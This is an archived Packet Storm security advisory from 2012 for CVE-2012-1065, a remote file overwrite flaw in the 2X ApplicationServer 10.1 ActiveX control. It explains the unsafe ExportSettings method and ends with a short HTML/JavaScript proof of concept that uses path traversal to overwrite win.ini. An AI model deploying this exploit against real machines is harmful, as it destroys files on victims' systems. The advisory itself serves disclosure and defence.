2X Application Server 10.1 File Overwrite

🗓️ 19 Mar 2012 00:00:00Reported by rgodType

packetstorm🔗 packetstormsecurity.com👁 33 Views

2X ApplicationServer 10.1 TuxSystem ActiveX Control File Overwrite Vulnerability on Windows Server 2003 r2 sp2 with Internet Explorer

Reporter	Title	Published	Views	Family All 7
Tenable Nessus	2X ApplicationServer TuxSystem ActiveX ExportSettings() Method Arbitrary File Overwrite	26 Mar 201200:00	–	nessus
Circl	CVE-2012-1065	19 Mar 201200:00	–	circl
CVE	CVE-2012-1065	14 Feb 201217:00	–	cve
Cvelist	CVE-2012-1065	14 Feb 201217:00	–	cvelist
EUVD	EUVD-2012-1102	7 Oct 202500:30	–	euvd
NVD	CVE-2012-1065	14 Feb 201217:55	–	nvd
Prion	Security feature bypass	14 Feb 201217:55	–	prion

`2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll  
ExportSettings Remote File Overwrite Vulnerability  
tested against: Microsoft Windows Server 2003 r2 sp2  
Internet Explorer 8  
vendor description:  
"2X Software is a global leader of desktop and application delivery,  
remote access and cloud computing solutions."  
2x homepage: http://www.2x.com/  
download url: http://www.2x.com/applicationserver/download/  
file tested: 2XAppServer.msi  
Background:  
The mentioned product installs an ActiveX control with  
the following settings:  
ProgID: TuxScripting.TuxSystem.1  
CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}  
Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll  
Implements IObjectSafety: Yes  
Safe for Scripting: True  
Safe for Initialization: ?  
According to the IObjectSafety interface this control is Safe for Scripting  
then Internet Explorer will allow access to the availiable methods and  
properties.  
Vulnerability:  
Two methods perform unsecure file operations (read/write):  
...  
/* DISPID=13 */  
function ImportSettings(  
/* VT_BSTR [8] */ $FileName  
)  
{  
/* method ImportSettings */  
}  
/* DISPID=14 */  
function ExportSettings(  
/* VT_BSTR [8] */ $FileName  
)  
{  
/* method ExportSettings */  
}  
...  
by passing an existing file path to the ExportSettings() the  
resulting file content will look like this:  
<Setup xmlns:dt="urn:schemas-microsoft-com:datatypes"><Connection><CGW_FGWs dt:d  
t="string"><Default></CGW_FGWs><CGW_HTTPs dt:dt="string"><Default></  
CGW_HTTPs><CGW_IPs dt:dt="string">192.168.2.101:0</CGW_IPs><CGW_PUBs dt:dt="stri  
ng"><Default></CGW_PUBs><Domain dt:dt="string">WORKGROUP/SERVER</Domain><I  
D dt:dt="ui4">2</ID><LocalInst dt:dt="ui4">1</LocalInst><RanID dt:dt="ui4">12638  
38571</RanID><SecLevAuth><ExcGWIPsLst dt:dt="string"><Default></ExcGWIPsLs  
t></SecLevAuth><Server dt:dt="string">SERVER</Server></Connection><LoadBalancer>  
<PersTime dt:dt="ui4">1279870543</PersTime><ServerIndex dt:dt="ui4">2</ServerInd  
ex><VDIHosts><VDIHostsIndex dt:dt="ui4">2</VDIHostsIndex></VDIHosts><VDIHostsGro  
up><VDIHostGroupIndex dt:dt="ui4">0</VDIHostGroupIndex></VDIHostsGroup></LoadBal  
ancer><Product><Build dt:dt="ui4">1204</Build><Major dt:dt="ui4">10</Major><Mino  
r dt:dt="ui4">1</Minor><Name dt:dt="string">VDS</Name></Product><Publishing><Out  
putDir dt:dt="string">C:\Program Files\Internet Explorer\web\output</OutputDir><  
WebPageTemplate dt:dt="string">C:\Program Files\Internet Explorer\web\2X_default  
_style.xslt</WebPageTemplate></Publishing><Redundancy><BCtrls><BCtrl0001><ID dt:  
dt="ui4">1</ID><Priority dt:dt="ui4">0</Priority><Server dt:dt="string">SERVER</  
Server></BCtrl0001></BCtrls><IDCntr dt:dt="ui4">1</IDCntr><MasterServer dt:dt="s  
tring">SERVER</MasterServer><SettingsCount dt:dt="ui4">1</SettingsCount><Setting  
sID dt:dt="ui4">1326947769</SettingsID><SettingsTime dt:dt="ui4">1326947769</Set  
tingsTime></Redundancy><Reporting><Rprtng2X><RprtSrv dt:dt="string"></RprtSrv></  
Rprtng2X><RprtngEG><RprtSrv dt:dt="string"></RprtSrv></RprtngEG></Reporting></Se  
tup>  
If a remote attacker is able to take control of the file content, could also be  
capable to run arbitrary code. At the time of this report, this could not be achieved yet  
(I have experienced some unuseful crashes by calling ImportSettings() ...)  
As attachment, proof of concept code which overwrites win.ini  
POC:  
<!--  
2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll  
Remote File Overwrite Vulnerability  
ActiveX settings:  
ProgID: TuxScripting.TuxSystem.1  
CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}  
Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll  
Implements IObjectSafety: Yes  
Safe for Scripting: True  
Safe for Initialization: ?  
-->  
<!-- saved from url=(0014)about:internet -->  
<html>  
<script>  
var obj = new ActiveXObject("TuxScripting.TuxSystem.1");  
obj.ExportSettings("../../../../../../../../windows/win.ini");  
</script>  
  
  
`

19 Mar 2012 00:00Current

EPSS0.03202